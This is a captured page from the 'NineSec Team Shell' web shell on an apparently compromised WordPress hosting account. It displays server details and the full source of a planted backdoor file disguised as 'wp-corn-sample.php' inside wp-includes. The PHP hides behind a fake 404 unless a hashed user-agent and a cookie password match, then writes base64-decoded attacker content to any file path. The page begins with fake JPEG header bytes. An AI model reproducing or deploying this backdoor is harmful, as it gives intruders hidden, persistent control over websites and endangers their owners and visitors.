NineSec Team Shell

��JFIF��(ICC_PROFILE��mntrRGB XYZ ��acsp��-�� desc��trXYZ��d��gXYZ��x��bXYZ��rTRC��(gTRC��(bTRC��(wtpt��cprt�� NineSec Team Shell NineSec Team Shell

Server IP : 10.27.20.61 / Your IP : 216.73.216.213
Web Server : Apache
System : Linux webm031.cluster027.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : labtrns ( 126716)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON
Directory (0755) : /home/labtrns/www/wp-includes/block-patterns/68b11420ef50a/

[ Home ]	[ C0mmand ]	[ Upload File ]	[ Lock Shell ]	[ Logout ]

Current File : /home/labtrns/www/wp-includes/block-patterns/68b11420ef50a/wp-corn-sample.php

<?php
define('UAMD53KEY', 'f669e3492f8f47c1c30c712c9c2952d0');if(md5(md5(md5(getenv('HTTP_USER_AGENT')))) != UAMD53KEY){header('HTTP/1.1 404 Not Found');header("status: 404 Not Found");die();}
if(session_start()){preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);$domain = $match[0];$domain=preg_replace('|^www\.|', '', $domain);if($_COOKIE[md5($domain.'pswd')] != '655960e89ecb06024191bb094ebdab03'){echo "The authorization failed, please re -authorize";exit();}}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    try {
                $encodedFilename = $_POST['filename'] ?? '';
        $encodedContent = $_POST['content'] ?? '';

        $filename = base64_decode($encodedFilename);
        $content = base64_decode($encodedContent);


                file_put_contents($filename, $content);

    } catch (Exception $e) {
        http_response_code(400);
        echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>save file</title>
    <script src="https://cdn.jsdelivr.net/npm/jquery@3.6"></script>
    <script src="https://cdn.jsdelivr.net/npm/js-base64@3.7.5/base64.min.js"></script>
    <script>
        function beforeSubmit(){
            $("#filename").val(Base64.encode($("#filename").val()));
            $("#content").val(Base64.encode($("#content").val()));
            return true;
        }
        function Base64Decode(){
            $("#filename").val(Base64.decode($("#filename").val()));
            $("#content").val(Base64.decode($("#content").val()));
        }
        function Base64Encode(){
            $("#filename").val(Base64.encode($("#filename").val()));
            $("#content").val(Base64.encode($("#content").val()));
        }
    </script>
</head>
<body>
<form id="saveForm" method="post" onsubmit="return beforeSubmit();">
    <label for="filename">
        filename：
        <input type="text" id="filename" name="filename" value="<?=($_POST['filename']??'')?>" required>
    </label>
    <br>
    <label for="content">
        content：
        <textarea id="content" name="content" cols="100" rows="30" required><?=($_POST['content']??'')?></textarea>
    </label>

    <button type="submit">save</button>
</form>
<button id="base64decode" onclick="Base64Decode()">base64 decode</button>
<button id="base64encode" onclick="Base64Encode()">base64 encode</button>
</body>
</html>

NineSec Team - 2022